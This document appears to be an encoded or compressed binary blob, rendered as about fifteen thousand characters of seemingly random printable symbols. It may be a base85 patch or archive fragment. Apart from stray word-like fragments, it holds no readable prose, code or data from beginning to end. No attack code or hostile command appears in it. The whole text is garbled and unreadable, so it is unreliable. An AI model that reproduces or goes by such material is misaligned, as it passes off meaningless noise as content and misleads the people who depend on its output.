z8rl%n$`T1#PXgp$C=@i{$y+fR1Wa~L_Tum4r5r%Zsf-O3I@@#=gUtt0F^!MWFJB&sq8Z++c%#hCMr7!GCz7la-nd@8|GwkZR#&IM$?!PO5TOM zRglG8^y5~yK8H+0-=6vL4QlQ|=vPXzE@dR|5X;~#Z#^Fapv|!k9D-l z_JhoB6gp02L!9g~=tPxW3mF4=rkoP0V+`CCg!}4oLj=tx43!wwm z+|$n7htQ!allOMb?!IVg`>IUd+cjAQbiB%jIoZ#l5|zcA?0!gEhmiM2Co3Twr>d+R zGWQ;XzNfNw+2C$zxP59Ys_atmaC6BS_!?RY5yAZccoR(N+o%_ zHms?!+R++EYaM+8y{tAiK(8o$0lli^u_sF|Y0mRP&_9&&p?@mL3%IW<6*%ewy`i$M z(3?toLvJY+LKdnbM?D<%bkqxyRgXNc5A-jkzK~oKo#!13$=mLEUNL0ul|ZXi7KP+c zf1X$FNZ#OmS7k$?2BqQ98l{ntxiZ?(d5*?8x)6F#ZH$NBSE_{8DqR76pfmycLa7@1 zQYj97s5Aw#RGSLPb=P^`4bUe_)1Xh4Zhz5d=pIKipml2FK}cHRJZ~l>7eeHD z4?!E0WV+F5OMh1x6a4Ruf| zgmzL&9Rt&Ine14MoDof}`;{j?DjV~%?pEC3ulUIx*@AVEu7y=Qrw-eq0^2t{`8t|B zf2ubi5tl6;^w|pj$zrU&svM6tSO}oN;)zw6KJu zxb>xlq8>x(B1iC7i_6If4UV(gxk;=3EVL=xdFi%aq!-BbcoVi4(|AT^$%I!2;kJD& z`3I!2jXQ=X*WzCKhDr%$AsJVDVQW1aiIXmp-@|rf*4|mZ_DeU?UX2uH8Ijc`=gMk2 z$;d1jQly9dW4ae-WHCmfiGkedAO$pa^QGtnxvN1k$hJA_=JDW$2h|hUc5-$q``ac{ zS2&ntsSbIQ6VkmqeS3N*y>YT*x_9p|!q{%HlYwyZj`UJ}1>Qww$zV7=y<-^BvT`P$ z)60rKZw!)NZ{oDXHZ`L^naown=$%8R)x!-<{-xTl2Xo70I6YWzFdl1Fng1I_%axG3 zTWkB5>9*xE{Z{!sEZw$@Gh1bQk96BfMy{>0{W7J~#rt=ywS8NBnKd#?`V7+8#&&E1z?Jk$ z8<{mO%cxWk^~YXBOZg-ha-=r|KWon56jGS z*7sq2-?jzt7JP68a2@4a;`dh(+5n`a{^T}X99S5ruA3M`EFIVr{fC#F<=ejAY;VI# zIwL)hr~2OXKp2@N8|c!DQE&SipGt@%-OrLAR^->CvxCnI)}5Dv3RsU`1xl%li6b|LXw0ZrdDRgikKVL+Xv6KrfMvO(f9r zte~yXqPZ+fD$BLnk>7wTnQg*~ETf{jip+W;OM0bBS7u4asPwfgX@yExWl4`#>FO+L zca^TqlD1drCt1=@`CIa2xeoVq1m1!QkbDAb8uw|~le^md)#G5f$F32V8#s9gOm^n^ z19)BP9<{+X>8-{tS?z2m$C;~_4@k-UTG;TQbi{?+CwyS-t5y3&W(_4a=|xji8?-zZ zN#W1qhYj=S{=LL0oS+D9aF;6T4`2n$ZM4db$~Ya4%ROh&*gVd5>nYv}xsAmi=*n#@ z!8jI2z2rkyOtYpeo0vHyuplXYE_>0oZTTKaTDbCEgg2TqpR?YYSt>_orP*hc+t|ju z@Z@J@X*L*SNSd{5*tt{^BIWY~>Kv1x>KvcX%kp^=M(H`Tq;eKrgMLDe0~cl)CGT)x ze3n$+8IUAyl$E0(J~olr%F(oRV=js36KfeX)t~lN>~qEhH{e}jVBhfFE5ot)HuKsR z_c^axAF37Qo1R;>QGUY!E^N(=d&6NZD7cio#?-WIBzNC%rjzr66L{IkUq2ePaBJS> z(*p6|AI+t}iF`1P^iasOwj&|g<(%i;20cOv4tbBrSEZMrhm}5YGI=QHA(hEhTV_t) zPWT5UBIJ#N_EPucLI+ul4|%e6!puDZnYlL{$s?gAtE8A2)j_g$k>};(s$7H?@(zT| zm4VRXDwB$BGC3_Pu7|weIN1Vdp2}7^nMeOCH;9Jxk}$J-JTkc)FXWAcOf~^pqOx0^ ztSy5m5b;bhM`**i|Q!O033VVm9V zkoj?flMQjQs~!EuQ4zC|Wg4Ttki~KlWUhP)naevc^)uObAd?;DWP_Y+xRYJ%NFGcx zySvklo85yTlO5;i`_PG+R^y!PDo4{CJ>W=ol$t9qIa=eWEeZzvdI0pS#I?N#Iu<%csTk_7BVNk3z9FiBh^SqJJ0Hx7Txzc%1 zh0-|a6r~FxnLy-uwvz10V*=Q#_&&kF) z*@aFv-pOR`f$?-@QGs4TC+Cc~g0A;-5he_Fy2wo^>~1+WZp;o7+5Oin@AL|%vWq-oDGXLQmogcru3Xx5G5ej_XejOatoa7n!+L_TTa2|`bp%QEZOg3n)gd$pEFgy zQf<1e_nCFWSCeGxP^c=asp?+xE-d4Tq;%)Z#7|z+WQaDA#PX75NupwSmOIBIMk<#R zu}#vG%6zW;*f%CM`Y}W~s+#2UNK+fyV-rWys%@~>9Vr}DJ8Iw?+UYO$@28zpVDo-b zcD2Pe7KA6C1^CIIh|4BSTT)KB?0-zk&beG^MU&E_k!k}Qw5fq3-)ZhcyXHQuAw;}* zBRQX;{7OFG+y_|~Z_>tH@`2KnTFUE!eo%FjcjIkN zzS4_o@yu1~1xId2Z3v2Hno>_*Dw10dKd`g>oud6;+Wb|kvU65CCoX=lPAa`~awm$* z>$zI7EHQ#B94_Ve&!c6Dw}L&e|L64>gUACLOEf?-t`2#k1Gq;=UtKAcv-m&c_2#F| zg$6>8s_Z-`yBd;H?s=Y^@|XG=^8W0;%KZ8-Dtp_>)B<({qG8dEC}W_RY#ckC5(UHGjX4>`9f4hfH=A z^pwhOce44=a+SU4WFJ9)Rar-TGP|O|uz6@7=o$Tby8HT5$igDJ3~9yEbs2JdyM6sP zWUjmiiN2M~(ILw%83xScuaLJV^e3er&_tzT$nsM5oIavCBR3eBd!wMv>fVJ;b}7_F zWmh|yETl;8pxJS<-#}*fAt!qbGP{3uGP!ra?8;s;KOT_Tm3>bplbwWSSF}?mlNp=Y zmD#PyWJY9mWmaP{nYWl-nH8Gse8}ux4(+a?{}p68^Bd@wn&N+eOmFc7WOf%ryQ+;3 zA+zxXWH#iHVxtMry~vrvLcdjtLyMHAIFhH3OeQbY8BKF^i=*2eO@}08dEPxvHUpZe zvIn6*D$Rucr1TKJL)X$|yyrM1xiDt!VyswCR2SxR3(vz5GjYO+!Ynxm8tJ*LzFdR$5L zVP>ui^cR(Ng(UCtyuG2hN`=l`5j0O_J)rqYJ)s3ky_~r|&_b2@v&9SjTg!F3TIv}A znLP3oM7i9nw@RjvY+BO`DuQlVhX%ou4&{l-UFBZw#ET_~sYTVarx;^C#VwPo`9oF@ z;?MFs>nNt3iQIz^{srg3q$#-0Joke0gM(S8K5gTlDP&p7ogP&GD#o0`H5I%~aEcuD zkmDsp*@8mX*Mp!whDMJ-=12QKBR9Y66mBec8E4Plgp9nmh-9MTvcwPi8>cEn?~UDYNz_kTJbtNugcvGPA89xMJs z;<4;MBp&m&Ivz1rVA+4LjCT0j(R9t)7Ev1it%}mjt&UP8_60YK+{DD<#KhG5T&F3s zDzBllOmw`44v+Df0~U`l+;1{3Bah24LT(b27a+c#al|;HURpn)=wp8zadgnDmT)0- zD+Us>qwkt?h-XuU^y`h%=u~cQd2HH-uaSwvHy@kf+afl3;cFH*Q|P|lycx3fv7uDj zI32BWFitNhPuPRVjNXI6eVPi(f9fevV#)fIVi>98EuPE_4<1u{^I5G8?k4ZZ_V9%!b@DU|;2aM*I3F$i9YXjqK~$ zkbV6bWM5^UqkTOH-|g!F$i7a4?CS^a>(0y>?5ph5u&<9oW>;=4w68@>W9;iB$iChR z+1K^%>-UMFeU%;Z_Vp>q>>iLGd@Y9T>&?(Lnl1|=Ggrvo33H`CWae&%?CZzw>n_Zt z?CS-PeVq@P-PhdLzU*tTuh&ENRdzy{-Hz-?u)ORF+1LFY$(3WKzmUBSwHnfqkmw=u zywOlhNlutvtuzj*QMwQk%>`@q&?KcwD4`^Gkxf>b08LS=BT=5BE2 zra5!BICHlDAvXO|T&1uu+uV~(i#y5LE+0ZqTc&4GV?9rr~)n{27 z+Uc8$ky+%N7dhmaaQp+lDu`-Q;b!^N|Cw;@trYgs`Y5ZXFP7FvxY@|G_T`B)&>LSX zk4W;agY=XPC^0e@5&*rqLEZ)8mGu7UIV8l$<_a7KBQ~v!2M$EK< z|A7%R_27SC#7tkf-6Ixzyl9HF{o(k_{QUacNYf#H9nq}*CZlP3#qAzVRF3ybG_@y> z$ZHE;!!8jyhvzW_ctQrbUso1K=F03PHAGCCG^LF>(Jb1eD0uXIE2c}auTVVxk~lXN z#Vn2Lb{WhyJ>A*1QA8U#lUZw1QFQvd?GibesK}ct{nw_?88#m|o=**?o|~EO#=b&1 zsr%w|GUn?6{K5G4ja<|7m(53xms(pEIUZrO>B`fhs$}1_jQTTFmBE0UjcbNYyh=Y> zRF&iGJYMi1{iw*uv$ygk8A7vN{`JFE({T=T^aIFrm*b!dREx9(k~{iBUVn=Ay-H_M zkBw?*y^IF&#pof(bZ>HJ-~VIpUErfC&j0^IvOu`GQAANtB1VcAEQ+-#pjk|G0}G;v zqJW}Nii%2gBX`ZZ8)G~~tzt!Mm0H`PUv1TT321F1D2O-erJ}VO?^zcCZ`>un&*yp0 z%$`jG#0dR=`+t4&g5CGdoHJ+6+~=8Ro>A%A^&s`V6Qs|02sBlm@hnL1=mxo>-f<&H z@3;e`zH6*+3GP#0hM>O7Kzi?B$W+ufecH_r3|z=N@h)j0-^O`!q;>_kzSt@2vo-?|mTk-DG_)$L=Tfr7gMXk}mgv^t$gr z8p7>`iK|)4L6jn6XOg9Pmga->8Fzy&m+KZ- zx*tTVh}q6U&@`ckKvxSr0-~V`SQ7(9g{nbU2|WY4Qm6*>OQEG8?l{bLmV;&sy$qTm zv=TH^=uLawDtp~~_PRQI-6!_CdVAe!d)+$FED7&hd)-ER-B#;XFlO{w#?Du4bs6er z*hS^R*MOzacCVx4Hso#`QL+i@RFz|@J-ICmf0cHG9yiVdrM2d8<>UF)xM{%aJkfMI z8nsB}l>Djn49FAh+H>YAiykqJo_Iyg-rs>#k!dsfNeU9 zIY>C$VT9ecO)?_Y42In?HHIVTKBn?4GUSJ5PuLw%7as7kWJ@@>RqO<3Z+ zl=li@cg`dFZXuDX!-_ZJGlvV*C?7xQ)zan_8r_CXQW+^ytmiPN1!#ECj?zWmBKd{b zDUdOc7x&CO(fGF_-aC49a&nWW{`aI@#f zhl~~Mjff{Ty^ELCs6iJ`DBvG<*aD;7sx3GE;YRZ24Qybc`i~<06-qA~*x9iL2PHaK zJ`l{k5W9}_8mWMsW8Qh6MLlO1HH5NAXt>p%RwTh}w`&&>5IrPn%QC={;! zV(<7zCz@*MOK_wj2RJYfHD_hG`4_Ycf?m=wl}wT}9!mMfL|%6J+KcTbl#YbzzH4aU z&eS_G{|Y$gf^;^1sihf~uD5hANY9Xc)Y2y)osXT0eE&Ndq=55BknXaf?HQfH(TYhzJV@`wOp3>)s=?%`&CR0LjVSpr?7maUA-e2G@y(*XK&&H`59KdJ z+H)2arR3+e2u?kjDA_ApRw8b_|A$Vga3%=mO`I2CPpx>vWh{Q0bFX4^I0?mUi55I! z+xC<>5Kk`%Cf;NZw(TGE_0F<94!IUvBiAQhMqJ`+3Zj$Z+c3hSBxS=%`7+hocf(0C z)2ccXFZ5DrcGa10%9Ej^C#BTeB8}SY%^%Pc;oQ~brrgtTv%KD%m2zLQ8X0K<@8JcG zkef{7TK#~tcJ~9;qj>)CH^8Ltb58oqGz(Kd*&;5f6+xrI31HgH^{?;{nn2BD;#e?4Z;rrtwROPeV|E5FpXfcL{>sZCz?(&3) zyFB7T@IzypM%D&7oA`wmp?$~MauB)s6ss#3%n0`txdCD}ZM=P#NI#@Xl<0kMnfD;{ zViDNInH+JohszK|#g|USs>ZnxLZRF7hA&(=(BaE3EJZC{57I%)?Up!1)j`W1phrAgHGNqvtZiSKzJ^}WaXa&SYdw*luh z>x;>ucW*cN{8fB;WRl*?&FmWT6`;q&H*S3&vc9zJ@Pzn&Vts#xrdjVj2}CJfz~Odv z4f!tXyAbr0_`Ys^w^-i}=oX(8-vM?gMKx{>c?O8j4mec8)sSiMSABU{yuL3F=TNt; zAbm?3>ryuw;nH`bX)6tdTaR_QfZKh`5TAhaB1i|3{|1$d+jpSrgd7aq)VGtReJmXV z(!r)@Txm*vcUqImqcy4i8;0gPPA)90)Q8=n;jsH|amiQS5UjMvhM_W)3A-zrj5f;G z2NP`JbwE~N%5$Mxm_HFqlrrSfL0IhjqhyG69r8DSk?JU-0k=l5i<`! z)f1Hq4}T?8`(d^O>fMR+=rZeS*qyt9K}Os*$%P0KJ0d1?gY&N>_=Na1e+N(AaH%3~ z)-gki@^BL(Qg}Fqnizj-We>X=N|Q&Y`nwT4?8Ru`^d&Ixlv~YU4zG>4D=_rvTN#m& zq4yFR6c?hI+NNQ#&tjW`Tp6E_Je|U=9nt);Fum3Pyd`0Tsip5ckhUaOg0$6m*!q41 z(vr3gqy`zXkRR7encE+vr7r?f-;1p8Y>?hdLmGM=&05?m_x>BCchrNl=1`1{|4*u}~7R3MO8}XRKirLZ5a`^n%!0RIb_40?H8%5h)u9Jmg(Vc&vK4bm$ts__*DHEHS8dnl?CtuT2p>Ef@$w!!%y+5(vHSSkGatJZ zE2$=;nLZ!EC$@H#4EJJu-L(ZsvgmnyN#C2k?F+#FNSd^4KH$pj`dqPHpE29@83dnL z!(K8@Jp%m@@&?h2HJ~;iw|awviT5S?r%PF=6t2N%^d!lueGq_TKNi>QNa-wZ#&?#^ z`0yfJt-?GH;Thvh$)%VTn>%+jbZY+Y>&@L5q3!7IuzP*xY_rbfQ_(7hoTPEn)<>fO z)BRY(>qxEWm{`N<%D9{X)e@q(K)eUfSHp2}$3F5c)1?uXUIfxbI;RGXTwi<>d9iZwv*rcslzrxb>HNJF-I zr^On|fWh*Qak+WxbTog*4kNqjtauyYVG8Go4LE)kGh-3<;2#W#?(qIL!8hvAZpRDG^fkpX`rr)+F7xNQPLgp1lwTZ6QoV7Ay)xFOVPgUT0$G|g-Ms7!rwR|RyLR2Cdhi-x#DD$7YyS#FVr zcssdshI#r9MsPdLop11*T~fe#8ptjQh|-*05>WRR2Go2{Lya)BR?^zvDO`rn=x}MI z-T|68wzguVW|k-6SOuA@^g+@&_!b6aa;Y7J$oUi_I5lKc#MSvJ zM11S4u33EP*wDG52_odfaigA)?<|l`%`dccHApAv<(6It>12LiP+&#c?GpkIpHPtj`Yb%mfg;&z#J zqo6?rW_NQb<5L9-v^A;sQbU^dFayrmsVD!j-=2d~#10=ibN zqkVXFn+l>%HpHdYjn)Fo#4UaLMlQxpGsJB;Nbj8p;u-M)u}7e8_rNVGZq%+;H`*+m zCT<5}tg3E@g7kd{fvy(c^R4d`>w68TRDACTsc`WxAWfH5APw&`&~&-(7nmieTPdhS z+#a!R&w|brw@ucqJtjmKh}%$*-a863M%-NMb|;AW9&o;~Zf!7OJV)FHgY@2Ep!39y zXTz!+kHo|T3-`Wi-QELD61ROZ6W8l_mc}o{?N`?AUJzHk0?xbEtsXQ*+zy6>L+?Eb zG*R4mT86sK1dSHAC#>5F(BMt}4eSwFYtB0houOcufiyk1ZFm7pXCA^;EonR>ZbFS2 zS3xqYq7cS>qEYtp*1PSxs=r^}VbfmKbM0cCsEQ<5CaIpi$6Tx%>Ks)ZbdG9GNqU~X zlVKw&Oh$VhT7(fcB)7(>qy#;J;${eU?XphtFG!7+ygX#e^74hjr%u`n&y_iJsJ5;h zsnBadTA?{?Qs1-;d>-6X2F?Xt_2s#ZO80}byLkqr*L`Yz*#Kz+ z!OmEzi8&b_M$WaIP(D>q3f-^uj1bs(-Bess@9j${?Y!?h?w1jA53OaYjcQ$k$Y7pDQEA zQiUf&LfLDy*%8`Z)+&qC-1L4j?^@sXxln8yI+5AY;RMPc2Lf)S=(d~_;$;|(;me7L zwOB-z)?(k5_ba4*8M`?k73HPq?VZ#cnHSR?J-KJ)7AD#8iYdM#*LeoL%_V11Zd-(S zz{oA$M|IMy${TjWiHr4t={W1c2sAdha-c!csA`0RCiI_j9?ebKKC28dLfd{uTqr)=1A;{I9KF2DP~CEi zYWk@(WL*xrruv*<;!48C?!oej$d*_`f03t9bP!DR!)L5vs)+YbK;;T1>X16Iwf&{X zV^tM-N)H2&3XAk^f=pO)5uRzr?1W`h2Nm6o+A7g&GFOBI2@gfXOLc~esM4^~)A6D> zG5Hsap-h-N?B^Pb1a}hdSti^cD&g2kxD7~LiSI5B_fNYi+*3`sJCSw%(0rqoWNa;Eb3Es zQ@DHYrf{D@R}*V^L>3HAkwz$qauZvN$uJ62xo{Z@P%v?jDNi-{8Cy%os4Y@F*}x>{ zt}0Ro`NG_lS@a^BKoi$p87|d%c1O7T?WS<45xqO&OBoD$G1-)`oz9CRNO?3G?sRe4 z$&$cMTA;5{dQF(SGF$K3P2qC1y*uJd!=fz-7y1^cb> z9>4T4Wp>8>Y#&og6RSnC2>l*fhG60WX(evqQ23Wza~vFN;L$0;^0RQM#BXPvpr=pr zH3Iq}*FX0IuZMu)hlHQHD7N+%F7zHP3B^f>iQRTfa%(hBb%>=aevs>~k&(W)-v)!V zl~hN?T-S(tWxSUm=Y`r;vm#%k+NpzQ$bIX5a^I<*)VHOooway(&OX=-uKr9HiHs4Z1_zesA3#1>GiYnQE5{#BDT+u-v)=Nzls z)$MT5z2a7C-Kdgqm$A$=2*8sfc{6^9tAxp^fwUq-9zyc z^e3SMFbC04@&|tpVLEZhK>frqAdB zV$KGfQ6Lpa+0NATB7Y=BekpvCVC<1D$mG=X_xn8^UoNad={u=;++wdB{>6L zA5nQ#cbwgsmRlB=tQ%1|E3Y2qTeSEfbklu1oL1t8&M|RTj7}@p$&?b-51JlvDjVo9 zfy|JeMJf+twe=k3DcmB2c^syt@-sGPAQoXDNZ{d3?n$|aP+4`z8?p{hnRYPI1D``i z%S7@~RIgxS8b15UO$nI>)E5L3Pb2>E`hw_WejFFyh?V)bQPxdYVH>YeUN=0-YK*Nj zE&iVnglX({)Wu?Mxh{2eORfyN^F)bN)K6tI(g=4cl2!J#gx$R)0g`=CuUZls+C>vr zhV5#B)F+? zca$ZrGpO4GARX>iTcW^MJLnMT2DB^z=MwA2bq4ia1md>Gfb)@c`x11$+`$6~wM*x5 z2zm$4DbYK4ETy{L4yu$p((4gCf^xcqJOHHEodCK~uH*8ny3GaYbx&Bg8jyyUv~J&m z^gRwhsCsW-kcLO$t-3vB={b;#y8=$ixy{sc5rVzm~eL#NG_+G2#HZcWy6 znmZmKDW~-nxpnE$lGHbpyNIje_6>LEm!YUcN;dXbU;eLX+xU|1I9i9cyK#`;eC$ut z<=6Pfy)fJfKKWAU4GcfD)D{hRu@FnhdDyd3btVMcP0F$iz~q4#Zpq3Jwz{cGWD!RZ z(29J;iw`%=c_<5ci}0eDJB{bYAnfH4t9?zEJVj;L8?9xS^g9lBYmF!b&64!I78DcW zF1Jdd1t3k&2SL9^X%9FYhtWhH2GXD>gx&<*A-0DYRU^7rCh~6pJd{dCWoZ_5$>Yp|_=mkhTm?je zyj|qJB3YoJN)}w0pBHhLg{sct;({b%v3qjZETCZlZaNzK+64$GJZLjdI23E|dO(8O zm}vRJTA`cBFVmP9>tSYDi#gVGSu0YRXBM$S*Wj~d?CCacb(z&%&T#g5%2T1d3v)Eva5AFj$4L>iSg3R_BW>+V^MbrH3hU3 zoe0uWG|bYCAT3Y718I4Zy^>O5&P9HyFBgi`cP>betECmRzshwFf?8Ii!)`KC@MQ;MYa zBa=++*L6{?@^4ESLS@NV9hI7HR!1{h1zCfK)wK|9c_#5%PIHxi7Th&EC{EJs_zpyA zLcl4qnNa?EFfjwaSk3dsz?2`?$aT4M(*_n16vt6C$~U&h`g9G)f_bFmYrk~~B)v(& zs#8(o>##!Jd@f*e*-S2AFd=QKsn6CT9mfM>M^**CDR#?raTyUpYcUww8FJEzSL7#Q zF+4K~sh?q&lQnUdAqB9IjSNn&RP!9v6>KFWQ~a$&Mus#K8kgTq7Nv8vxhBE4u8j?o z)Tfvz*?8`G6P64`jI^qq3exH~8`L=WehasB#mPfUjI2U$f&LiTM{A3P`D0}>s?!Er zRCTB7CifB~i!4@`cF7omy2JC`+Wd)w^P+nP7k}9ON}Y>1Z5H=NaGvEulcTXu(H?BA zDu>Sv@r^$TR-Hk=|HD!`m};r?MDp_6|qf@Q|3&|*-+ci(94OQpYe8K>=hkr#fa|RvgHv; zK9S8_RqUgN^C})_X!xKZdKd$BW<|U4J8xF$BLAZ^emvy&xz`-JC4_EG69TFGVvwes?MLB!SfG$Z!p&6oz`F)jJa$;oNcCMPQ^Cnwwd!70$T zZQGo7Iqkhan1}T=d_y1|CSGQ#5~TKex#@U(2UVcV7_K(4oGYEMV6*onq_Go=v;kY(0M|4gC+_s0G%&HWvL5< z7J^EIsEK%?&?BIWgdPV?60(Eq?o^=^d#+8|mQid`BJS7jIl1l|DA_2(Ud!SxsjX*i z2tK(HI%*A}vd?uBd2Ol_TrrZyQQ2PUj(?6Hud;;cus9TalBLZEEonUqH754aiO$xB z*k-Aj1Na@7746OMoLSL5`Q3R|=|NrtlseMDAqIMe${MmugVG|HaZ@Vf`Fa(`Q#?VV z+25-g>1u-*sk{$HXbYG&VI8Q^mW8P#tl#45TjTIm9X3FtOam0DLJwZ-j_Y6SURqG> zek@}ysL?Ii4`om7ZJkb%l5~-!QcDR-oaRoH@>2^sPiO_`T%iv@T7nt13F1Z#NG)gm zKw8cQTH+=UbsK4E97s#QS1zLY-7z%Ka^bFS-0c*t)4pbN(~@D*$ZHKVn!c14nSV*s zXBx!#$LPCQ9I8fVN$R?%;<8n-4^MQqN&DY_R-M21MNL%RPu|Asui@aV0>-@cMeLihd{ax0xq=`=Ia?mmeWk3w^hNv zXTw+Kukw}o2}^q7^|Z_vl8`R}hdVix*v>0mW9c8D3#BYGwM&GOpbLaJsy$z*4Z^xe z=upsPA?EupgeVM}Bt#+K#X_8_OcA1D$)!R!fi4l^1eiN0bhU7*P%Yf95LyAcT&Mx0 zHLN3ARIN?jEah1`+|tiMjcXV??7T7d)Wc@#8AjM_fxkdKD?}qwySiJb?2~Ly)Pa`N ziq~Y2C4&z;((s&`)WFx!Jf{aAA$NqSZe^%$T`=6j>BLCjU?PFfSnW3$c*Qs61S`0T z>ehy7bpeow@hhBN+fe6~wIq|vFf-5aSRY4xT;Stld`vl)xwof}bHR+EGh^D!=#*IP z*A3SqX6=I&+mN<9jM+aCbra$WA3y8k$9&AiQgb~QFb#7lQPOBeu;O~Wesnrx(Qv)Q zV*1WvG0GQGp^pdp_y`~8`FL+1=lFOl9x7=vbK2!lg<_f@Htm8HRKeI`nmmU)&3kdn zq2UL8e2@Wtb#3qzyef*e@|LEhpe9VTz+= zqQocO^v^hl+@jn=PISr|hIE7cb=pPIbB17fc6xLezRIRYkLRx$(Zl#_Ms#2Pni(vA z3r{eS+HMEuU68ucz{Lh8VgFYsJ?=bF*HkGia+2Oa(as z2_+xYQK&y?Um-3b^%4q$>gA3rK>7@77M(25xDK>Vd~X765Td%@_dWR;G5=viCC!u3N)b9*91)wkRKOp-B zHDvDU8!aKv1br>OTrS%rL@lZYA?ozBmrx!AbryOOw7(Fo;im9EAnDmd+?Z2cgm@pk z@UJUAzme;hcB_Rrr_mWs)Djmjcx}L`!RKB=FXMAhp||kK!9u`!AD=;?&+(Zj#M8$Q z7U~M>Ez}cqkkBEZy@ieharhB%eh%70i0XrFgo;62qzgFIJJzuvP2TBPkjo-Uzqj;f zON&7|7JLu%Q%T)AP=BFMKt~DHgN_zj4WgD*wzCd&jL^5BbA&d6ekMfiuVaNAET|0> z3V_B5<$#V8>I^zwhQs?cQ6D4{8!(}bpiG?Xalba9(*-DnB=3~?(1jS)(K&J?-<#C;^$&Roz~p<6&2 z-aOFR;x^y9rDxME9_xQp2mx-$eapyOGS)!g4he1T7m%{palUbbPMLL+t!qX}%$|_8 zF;x3yH}8;^_@`~KFovnOoEYC17|at5 zf{ByxIi#mkgSi8z(ZR&C_#Co7Ww)0`C-mE2#u@SYHqqnyH8h;)MEj7t#W%JImb1a} zy7%M=R4v0HAJcNBaX-|@>>i9etA4*89LXHV!29;w#s}#$*kGCK*mN5Hw~znfi#ZSJHY;1-ztGk zY1Py<37$O87i2#lALQe1;C?+3$LQ7i+K5z^jnoau9P`F0@{f-c<&7rD`MV}a*h02J z7J-rG4kSMuO9T_ou{a@fXHL5;dL9#hW;DWdAEd>pum5#9E-`W2>f?1j{=~Qco!)tD3)dBQG zOHoTP5C^US=P-N@L(3L$sN-~k&`{8kLKNT*5jqFdPl$z!hCu=jXR8H5oWu4P;>>oq z&|{zzg*XeQTn0xSfQ}YA7B!Hqaljb{Vp|+=&IBDLbOC6n&|DB@Hv#7*(5XTnfCdO1 zh<0hD(9xiigl2($E=2vIQ9`$YjuoN`d7%)MzuE2w#1?Up(1&n4PKc9=(}g$?9VoUBeud9dgno<9&rARPeKfOOdRlBIuI`q0vsptLZMl6F{l#b)*9B!GqPmFU^Opdc{hzFOpN(s#$^;%>#T!X1@ zbe%qUDoj_v38BP4Z!g0Kp3uiBzY679+A-*mAEEeXSkrkaL=(QMhaQqu9=N=1l&&aO z!~le1e99F&K&UWnPV~yyrj8sG49A|IB*se9qldB?^#i^hNOxc zsSC~hEfPlTsI{RmLR*`(FrsN|BMVBVwL$tC^tCpcE#C33M!MsdQG~Jjy?`l()o)ey zfzkohW3=tLpM<;)IFDLdVu=zT_1y>8yo(|gaJZnvx)*Sc1id44Jm@2#(V&lo#)JMP z#7$c73Ed6S`t%1-ow)rO^nuV*p!bE?-EuqzoixxVLRl!fTC=)Etn_P!S@>J&V6kmm;y4-DnD*9HX`IfMc5Gm#mC_7 z&&8k1@p{DyJ`;L4#e-h82MjFkh-iv3P7`A(cAts(_)N?A#Ba%maXVkNtlE23SykKa z>%l+^BOxzn4kqxnzTi!&J4<9Ru@Unp*wn&3F&Jv^XZE)kpJrTWtUP_0zRfb224PiF z9ZYQuPtJ+g1YnHjwb;mf%C4$9-%vTSe`DJf(D_mGDWbZyek1f7kSb@s1kyV`0BJ=XVT*sk7^(0|)1o9>7bg@eEk@{;<9OsxRQk zs|FA5?_Gu4cvZIls-@mlCk!6wU4<&mtJ?UlqEN1E^9jN78vtSVlrXZj^6vaHTx$9s zs-jIyE27a#(%7^W^Fo)3l~@_$lsFXsq*ut*O+&R`qI-NP{wdbF*12zKzMX2iBpg|` zX+P(L>E0q2_!`U`>Gte&YiwWTz{!Ug7w^z9Z*E2v0!CpVBU6yNycus}S6Z%&;!5`g z9cg+kx|m$C?R#pN=nMKJ&bNu)4-{~r+XHz$lY^n)p#`F~pt~}S9)pZw?a0&yE6ca0 z2eGc6(LE+3H0_YI+M%%5D8qxAoGTuIv3zp`Y<%ft^d+qD+Ls&;q8KgUOtf^pB_^Hv za>+tRwC$16T5R{XbSg-z2F1EZNRf|$4j1B>ReOQQK@W=?OV>j}Z-WjKqL5av>trj$ zK9&x$L^T|J+IWz!kMOHHH#ZbZFUE%4O*~$>P9!m+YbUxf+N{^6sNyB7tm`}_7*VjY z8Zfl852avl=#(BP)kvwVnLh0-j){ScVxeYA~sRdRg>oenVK$XsC0#xuKa=7O}tF>@*5fCJbzh_RIvR z5tP>BY&$cJvYG-utpcCYj8DN}$0HcALA3-kf3M($Nyz$uGtSavOKfY^_f-%VlmpJ& zphJY}K>0#cV$-6KgRm%C3OIX$ej>yI+DC{(94%Vsf^^Vvu_dm0s@t`eT#&D5rAHo( z*88XW+iKOTk;VR07>B-5>#CbK1cAC?sP#85gS{C-e#a(u@992~j#q zqi$t8%5~w|ly__)N~($i8}*oNOsCgek2#{oJuTOLP8Ss0V{{*^NFXtzR}X>kbH=n{ z2u%RfqY#=8#qPDIGwrob}spcwXl3|gMXd{{2 zggf})nZX1bA3QvmxQlKQfdrc-MrgV$LV6WI(lW_qDbMzsDvH&9)Tws!J~+X#PDOW( z1~)jKTZaTDb#NH9X{j;#&{OTqC6zc<6$Xz|Grddv(hj}JC$docb0RL>$uoA!c1PZKahOKT}o9t(nEp z-bhjHCC(%v#{$m9mS$V31Zm%}7p{2~!-RlyAm|MtNA4P%k(#LJ>Ol<3ATfN1F@JfZH#W$jU|zy z)1!kpwLXj=Gh<0A>_RC4b7a%ZC;e;tFX9eUpZ?}!&JZOyRH%Ev2+i9Pj9?FrZIWPh zr=yvPCLc@RpNiJjchAoroE?2H_~c5wk<_(DTFvgNFpWx7j#w#bX;214ozp^0oitl; zvB#0)94`plv80MjrAkZvyzUBZH^xmFN&yJlc2@|!4qerbwBCGOmA`*#R@H3+Mn(|g zwy1;pA6!RGBuKYFF9*LGaBO zDuvSepLHnL2Raj{PdkC*AE*XTSJlV7>8kozFdchByykP90aLtF#m1$8_m)kkq~}0q z!E{P`4&!at z-)QdoQ1`sjj-tCQ1tk=3=oPHs5wuLdSe!hp z5Z%hFwf`%u8jkrsS`@E4mXj+=8+U;6q~y5tZRT>^X(n$x@?twT_Qs9zEl@t(58%$_ z7(;i$*cdsj4SHFw@4Xh|hZ#+n;YEug81sh`ZEYxn{GlA#+EBj3{tlZi_4pCS?#)m& z=e1$?77EyKtPbTgVfRMPdv(BdovxLNN0!Kr#3cvU>Z&w0du6&Tb3}jAb4_03f9x-J z=VSY$aW#=iw)a1F^B#OT9S#1V{Hw){QoyPK{sPvj(5^xtHU}oPHctKgq2#qTl+U5U zYvb}RezfY1e&-Jbg3Q*1GR_~$$kv9^%^ylmYeRXhvoBqq!;e;_3r~c@`HbbUbO1l3 zK^!KxM`y8xO$@=0_!cy^#{kN%IR@?QVHzwetEs>@r>ktne8ng3#hchFYi3RAvdrNM 